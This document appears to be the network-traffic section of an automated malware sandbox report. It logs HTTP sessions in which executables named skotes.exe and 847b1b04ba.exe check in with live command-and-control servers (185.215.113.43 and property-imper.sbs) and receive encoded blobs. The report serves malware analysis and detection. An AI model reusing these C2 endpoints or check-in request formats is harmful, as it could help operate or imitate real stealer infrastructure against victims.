Nov 23, 2024 13:37:01.367635965 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 41276 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 13:37:02.243521929 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 13:37:02.580640078 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 01:09:05 GMT Age: 41277 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	50256	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:34:58.475105047 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:34:59.810101032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	50257	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:35:01.553951025 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:35:02.886151075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	50258	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:35:04.526745081 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:35:05.965930939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	50259	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:35:07.700733900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:35:09.045990944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	50260	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:35:10.676609039 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:35:12.060007095 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	50261	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:35:13.811934948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:35:15.252620935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	50262	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:35:16.887346029 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:35:18.279494047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49794	104.21.33.116	443	2940	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:28:36 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 12:28:36 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 12:28:36 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hvjdlj1ph61aamkfusoq7lm85u; expires=Wed, 19-Mar-2025 06:15:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tBUDfNJpZ%2BXPfE4w4fl2ugrw93cgIS78fDGgWf3wQDU0Rc5%2BsPWHRRwulGCKl4RYlVUnP%2FomJew4Nl2tmUGALtabcT0Pskm82EoMA%2FfceuCOJPNjvdfiHdjbVxQyzD%2FfBmToAbc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7128f6ecdf41d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2593&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1822721&cwnd=251&unsent_bytes=0&cid=5d419f0dcb46bf62&ts=935&x=0"
2024-11-23 12:28:36 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 12:28:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49838	104.21.33.116	443	2788	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:28:52 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 12:28:52 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 12:28:53 UTC	1008	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=em66phb64bd3qgoe17r4qqu5nh; expires=Wed, 19-Mar-2025 06:15:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3nt3D8gayLbyNv9X0Pqqu3B1zYg13mdpOHg07EAE01psR3Qzzm08j2Yw7Olx0C0GaZTZCeAGpjpDQB1vg3DZePEljpUQTXYfG425EnOqaPSkro6YZmOYAaXcsWWjzfT6BhW4z4M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71295d9d0842da-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2023&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1418853&cwnd=241&unsent_bytes=0&cid=6d7034662985f50a&ts=1155&x=0"
2024-11-23 12:28:53 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 12:28:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49854	104.21.33.116	443	2788	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:28:54 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 12:28:54 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 12:28:55 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jtu5mg2csljl7bug3ouq8ssjb8; expires=Wed, 19-Mar-2025 06:15:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oGcDaLqabaHJZgN3Ps664EpNOIvY5E2DSSozktX8CwsjIivy2Sgtf%2FVGWNdGGV8DyJE0kQTcIZAKno0xMMWNYbH48a3FBlX2OuiGhc%2Fzc9zqd0gmRL80RmMvF9CnaK%2FZvu05I0U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71296d0f358cb7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1782&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1615044&cwnd=168&unsent_bytes=0&cid=aa3bcfb22edd0b47&ts=1051&x=0"
2024-11-23 12:28:55 UTC	355	IN	Data Raw: 31 64 39 62 0d 0a 35 36 4d 75 36 41 71 48 56 76 50 69 61 53 74 68 45 6c 56 2f 75 45 47 73 49 49 2b 39 50 77 6b 73 48 45 30 35 55 33 79 57 51 42 79 63 67 56 6a 4b 4d 4c 4e 36 30 5a 45 4d 43 56 74 6d 4a 77 72 64 62 59 35 42 36 35 38 46 62 30 31 77 50 6c 78 2f 58 75 41 74 50 74 33 46 54 34 52 35 34 6e 72 52 68 78 45 4a 57 30 6b 75 58 64 30 76 6a 68 71 74 32 46 56 72 54 58 41 76 57 44 67 54 35 69 78 2f 6a 38 39 4a 67 47 2f 6b 4d 70 4b 4f 42 45 34 45 64 7a 51 56 31 69 6a 42 53 4f 4b 66 45 79 74 4a 5a 6d 38 44 63 54 48 7a 4e 48 32 71 77 6c 32 44 4b 50 70 36 69 4d 41 4d 52 55 4d 6f 64 78 37 64 49 38 42 47 36 39 5a 58 59 55 52 34 4c 6c 30 35 44 50 38 6d 64 49 2f 42 53 6f 46 6c 37 53 61 66 68 41 4e 46 41 6e 30 30 58 5a 52 6a 79 56 71 74 68 78 30 34 66 48 30 2b 53 Data Ascii: 1d9b56Mu6AqHVvPiaSthElV/uEGsII+9PwksHE05U3yWQBycgVjKMLN60ZEMCVtmJwrdbY5B658Fb01wPlx/XuAtPt3FT4R54nrRhxEJW0kuXd0vjhqt2FVrTXAvWDgT5ix/j89JgG/kMpKOBE4EdzQV1ijBSOKfEytJZm8DcTHzNH2qwl2DKPp6iMAMRUModx7dI8BG69ZXYUR4Ll05DP8mdI/BSoFl7SafhANFAn00XZRjyVqthx04fH0+S
2024-11-23 12:28:55 UTC	1369	IN	Data Raw: 44 53 44 69 41 42 43 42 6d 49 38 46 4e 63 75 7a 6b 2f 6e 30 46 35 72 53 58 51 6c 56 44 73 61 2b 53 39 34 68 63 45 4d 78 43 6a 69 4c 4e 48 59 53 32 6f 47 59 44 41 52 7a 47 48 30 41 76 4b 52 52 43 74 4a 63 6d 38 44 63 52 62 78 49 58 32 4f 7a 6b 2b 43 59 2f 63 30 67 34 59 47 54 42 46 32 4d 68 50 51 49 4e 78 49 34 39 6c 65 59 6b 56 33 4b 6c 77 31 58 72 70 69 65 5a 32 42 46 4d 70 4a 36 44 2b 64 69 68 78 4a 51 32 39 35 42 4a 6f 6b 77 67 4b 31 6e 31 6c 71 53 6e 38 72 56 54 38 61 2b 43 52 77 69 4d 35 4b 67 47 6a 69 50 70 6d 49 43 6b 51 49 66 7a 63 59 31 79 66 49 54 75 7a 61 48 53 55 4f 65 54 63 62 61 56 37 61 4a 58 32 58 67 33 6d 4a 5a 75 73 7a 68 38 41 55 42 78 6f 77 4d 42 47 61 65 34 35 4d 36 4e 42 50 61 6c 78 37 49 55 6b 39 47 2f 49 76 66 59 76 42 53 59 31 6c Data Ascii: DSDiABCBmI8FNcuzk/n0F5rSXQlVDsa+S94hcEMxCjiLNHYS2oGYDARzGH0AvKRRCtJcm8DcRbxIX2Ozk+CY/c0g4YGTBF2MhPQINxI49leYkV3Klw1XrpieZ2BFMpJ6D+dihxJQ295BJokwgK1n1lqSn8rVT8a+CRwiM5KgGjiPpmICkQIfzcY1yfITuzaHSUOeTcbaV7aJX2Xg3mJZuszh8AUBxowMBGae45M6NBPalx7IUk9G/IvfYvBSY1l
2024-11-23 12:28:55 UTC	1369	IN	Data Raw: 41 55 42 78 6f 77 4d 42 47 61 65 34 35 4f 35 4e 39 57 59 55 70 2b 4b 46 59 30 48 66 4d 68 63 34 4c 4c 51 6f 31 73 36 54 32 63 68 67 74 4f 42 33 55 6c 47 4e 4d 76 77 67 4b 6a 6e 31 70 7a 44 69 5a 76 64 44 59 49 39 77 31 39 6c 4d 67 4d 6c 53 62 38 64 4a 61 4d 53 78 46 44 64 7a 49 56 30 53 58 47 51 76 2f 61 55 32 42 50 64 43 6c 61 50 42 4c 79 49 6e 2b 46 78 30 43 4b 62 2b 49 6d 67 34 55 4e 57 77 6b 77 65 56 33 64 4f 34 34 61 72 65 6c 4e 66 46 39 6f 62 57 34 79 45 50 6f 6c 61 4d 58 65 41 70 4d 6f 34 6a 6a 52 32 45 74 43 41 33 77 77 46 64 77 6e 78 6b 33 69 31 6b 39 71 51 6e 41 39 58 44 45 58 2b 69 31 79 6a 4d 78 4c 68 32 50 76 4f 5a 57 48 43 67 6c 4e 4d 44 41 46 6d 6e 75 4f 64 50 33 53 55 55 56 46 63 69 59 62 4c 6c 44 74 59 6e 6d 4a 67 52 54 4b 62 4f 6b 38 6d Data Ascii: AUBxowMBGae45O5N9WYUp+KFY0HfMhc4LLQo1s6T2chgtOB3UlGNMvwgKjn1pzDiZvdDYI9w19lMgMlSb8dJaMSxFDdzIV0SXGQv/aU2BPdClaPBLyIn+Fx0CKb+Img4UNWwkweV3dO44arelNfF9obW4yEPolaMXeApMo4jjR2EtCA3wwFdwnxk3i1k9qQnA9XDEX+i1yjMxLh2PvOZWHCglNMDAFmnuOdP3SUUVFciYbLlDtYnmJgRTKbOk8m
2024-11-23 12:28:55 UTC	1369	IN	Data Raw: 47 64 44 41 5a 33 43 79 4f 44 4b 33 59 52 53 73 57 50 67 42 38 42 46 7a 56 47 44 36 61 6a 31 58 4b 62 2b 6c 30 79 63 41 48 53 67 39 34 4f 42 76 54 4c 38 52 4c 35 74 4e 57 62 30 4a 33 4b 6c 30 77 47 2f 45 6a 65 6f 6e 4c 53 6f 6c 72 36 6a 75 65 69 45 73 48 51 33 63 76 58 59 4a 6a 36 31 58 6d 30 56 73 72 55 54 41 32 47 7a 59 53 74 48 6f 2b 69 63 68 4b 6a 47 33 70 4e 5a 65 49 44 6b 45 48 63 54 45 62 32 53 7a 4b 52 2b 7a 51 57 57 64 41 64 43 35 61 50 52 58 37 4b 58 76 46 6a 77 79 4e 63 4b 56 73 30 62 45 49 58 78 52 67 4f 31 33 46 62 64 63 43 36 74 4d 64 4d 77 35 2f 50 56 45 37 45 50 45 74 65 34 62 4f 53 34 64 75 36 54 36 59 69 41 31 47 43 6d 49 30 45 64 51 6b 77 45 37 6a 30 6c 64 6f 51 7a 35 68 47 7a 59 47 74 48 6f 2b 71 63 5a 42 70 47 50 70 4d 39 47 66 52 56 Data Ascii: GdDAZ3CyODK3YRSsWPgB8BFzVGD6aj1XKb+l0ycAHSg94OBvTL8RL5tNWb0J3Kl0wG/EjeonLSolr6jueiEsHQ3cvXYJj61Xm0VsrUTA2GzYStHo+ichKjG3pNZeIDkEHcTEb2SzKR+zQWWdAdC5aPRX7KXvFjwyNcKVs0bEIXxRgO13FbdcC6tMdMw5/PVE7EPEte4bOS4du6T6YiA1GCmI0EdQkwE7j0ldoQz5hGzYGtHo+qcZBpGPpM9GfRV
2024-11-23 12:28:55 UTC	1369	IN	Data Raw: 47 73 4a 6a 6c 67 4c 62 32 45 31 37 54 54 77 65 54 54 49 49 2f 79 39 79 78 64 34 43 6b 79 6a 69 4f 4e 48 59 53 30 38 4d 65 54 51 53 32 79 72 43 54 2b 6a 57 57 47 70 49 65 69 56 52 4d 52 6a 79 49 33 75 50 77 6b 32 41 59 65 49 38 6c 6f 4d 5a 43 55 30 77 4d 41 57 61 65 34 35 72 36 73 31 54 65 77 35 68 59 55 4a 78 47 66 68 69 4a 73 58 46 52 6f 56 73 34 6a 69 58 68 51 31 45 41 6e 38 32 48 64 55 6e 78 55 76 72 33 6c 42 75 51 33 6f 39 55 54 6f 52 2b 43 74 79 69 49 45 43 79 6d 2f 39 64 4d 6e 41 4f 6b 51 4e 66 6a 41 4c 6d 6a 79 41 57 36 33 59 55 53 73 57 50 69 35 58 50 68 33 37 49 58 32 45 79 31 36 59 5a 4f 77 38 6c 49 77 41 52 77 56 69 4d 52 4c 54 49 4d 31 4c 36 74 64 52 59 55 31 35 62 78 56 78 47 65 78 69 4a 73 58 69 57 35 70 6c 70 53 76 66 6d 55 74 4f 44 7a 42 Data Ascii: GsJjlgLb2E17TTweTTII/y9yxd4CkyjiONHYS08MeTQS2yrCT+jWWGpIeiVRMRjyI3uPwk2AYeI8loMZCU0wMAWae45r6s1Tew5hYUJxGfhiJsXFRoVs4jiXhQ1EAn82HdUnxUvr3lBuQ3o9UToR+CtyiIECym/9dMnAOkQNfjALmjyAW63YUSsWPi5XPh37IX2Ey16YZOw8lIwARwViMRLTIM1L6tdRYU15bxVxGexiJsXiW5plpSvfmUtODzB
2024-11-23 12:28:55 UTC	1369	IN	Data Raw: 63 74 45 34 74 42 55 59 6b 70 32 4c 46 73 31 47 76 4d 6e 66 59 6e 4b 53 34 6c 6e 34 54 32 66 69 51 51 4a 54 54 41 77 42 5a 70 37 6a 6d 50 32 33 46 46 6d 44 6d 46 68 51 6e 45 5a 2b 47 49 6d 78 63 31 43 6a 32 6a 76 4d 70 57 46 44 55 4d 47 63 44 77 65 31 53 66 49 52 75 4c 66 56 6d 4a 50 65 43 70 52 4f 68 6a 35 49 58 69 44 67 51 4c 4b 62 2f 31 30 79 63 41 72 55 67 35 38 4d 46 33 46 62 64 63 43 36 74 4d 64 4d 77 35 31 49 31 38 32 48 76 6b 68 64 6f 44 46 52 6f 39 6f 37 53 61 5a 67 41 78 62 45 58 41 2b 47 4e 59 67 7a 6b 62 72 31 6c 74 6f 53 6a 35 68 47 7a 59 47 74 48 6f 2b 71 4d 31 4c 6f 32 2f 2b 64 49 37 4f 45 67 6b 45 66 48 64 46 6d 69 4c 46 53 4f 4c 53 58 6d 31 4e 64 53 70 52 4d 42 6e 38 4c 32 79 47 7a 6b 4f 4f 61 4f 6f 79 6c 34 45 45 54 77 52 35 4e 68 58 64 Data Ascii: ctE4tBUYkp2LFs1GvMnfYnKS4ln4T2fiQQJTTAwBZp7jmP23FFmDmFhQnEZ+GImxc1Cj2jvMpWFDUMGcDwe1SfIRuLfVmJPeCpROhj5IXiDgQLKb/10ycArUg58MF3FbdcC6tMdMw51I182HvkhdoDFRo9o7SaZgAxbEXA+GNYgzkbr1ltoSj5hGzYGtHo+qM1Lo2/+dI7OEgkEfHdFmiLFSOLSXm1NdSpRMBn8L2yGzkOOaOoyl4EETwR5NhXd
2024-11-23 12:28:55 UTC	387	IN	Data Raw: 50 34 53 32 46 4a 62 69 68 4d 50 6c 36 36 59 6e 48 46 6d 58 58 4b 59 65 49 76 67 4a 59 47 57 51 51 77 43 46 4f 61 4f 34 34 61 72 65 70 65 5a 55 42 35 4f 55 70 38 4f 65 49 6f 65 5a 58 47 57 34 55 6f 71 33 53 58 77 46 4d 61 54 54 41 7a 44 4a 70 37 6e 68 43 32 69 67 34 38 48 69 77 77 46 53 68 65 34 6d 49 6d 31 34 38 4d 6d 43 69 39 64 4e 61 44 47 56 73 46 63 79 45 65 6e 52 33 77 5a 66 66 53 57 33 78 66 51 42 46 63 4b 78 50 79 4e 57 2f 4a 31 45 2b 45 5a 75 49 69 30 63 35 4c 52 6b 4d 6f 44 6c 32 53 59 2f 45 4d 72 63 63 64 4d 77 35 4c 4c 46 55 2f 47 65 49 7a 4d 36 4c 62 51 59 78 2f 39 48 54 66 77 41 30 4a 57 79 42 35 58 64 34 79 6a 68 71 39 6a 51 59 2b 48 53 6c 2f 43 53 35 51 37 57 4a 6f 78 5a 6b 65 78 43 6a 33 64 4d 6e 41 54 45 6f 52 59 6a 45 65 7a 43 43 4a 66 Data Ascii: P4S2FJbihMPl66YnHFmXXKYeIvgJYGWQQwCFOaO44arepeZUB5OUp8OeIoeZXGW4Uoq3SXwFMaTTAzDJp7nhC2ig48HiwwFShe4mIm148MmCi9dNaDGVsFcyEenR3wZffSW3xfQBFcKxPyNW/J1E+EZuIi0c5LRkMoDl2SY/EMrccdMw5LLFU/GeIzM6LbQYx/9HTfwA0JWyB5Xd4yjhq9jQY+HSl/CS5Q7WJoxZkexCj3dMnATEoRYjEezCCJf
2024-11-23 12:28:55 UTC	1369	IN	Data Raw: 32 36 64 31 0d 0a 51 56 6d 70 77 51 41 46 57 4d 42 33 36 59 45 2b 54 7a 46 79 4a 62 65 49 4b 72 34 34 4d 58 51 52 2b 4d 52 32 61 62 59 35 4e 72 59 64 6b 4b 77 59 2b 45 42 56 78 42 72 52 36 50 72 44 43 51 6f 52 76 38 79 58 63 6f 78 31 45 44 48 73 32 58 5a 52 6a 79 41 4b 31 6a 78 4d 72 53 6d 39 76 41 32 46 4d 72 33 63 74 30 70 45 65 6c 53 62 38 64 49 66 41 55 78 74 4e 4d 43 56 64 67 6d 4f 4a 54 4f 44 65 58 6d 56 4e 62 44 31 64 4d 67 6a 33 5a 55 43 37 34 45 47 42 5a 4f 67 37 6d 72 34 31 61 41 35 37 4f 78 44 56 4b 50 42 38 2b 4e 78 54 5a 55 6c 6f 50 68 74 2f 58 76 74 69 4a 72 79 42 42 4d 70 58 71 33 53 4a 77 46 4d 4a 4e 6e 4d 35 45 39 30 31 33 77 2f 4d 30 6c 5a 6e 51 33 45 6b 47 33 39 65 38 6d 49 6d 31 59 38 4d 6a 6e 6d 6c 62 4d 48 53 55 42 78 51 4a 32 64 50 Data Ascii: 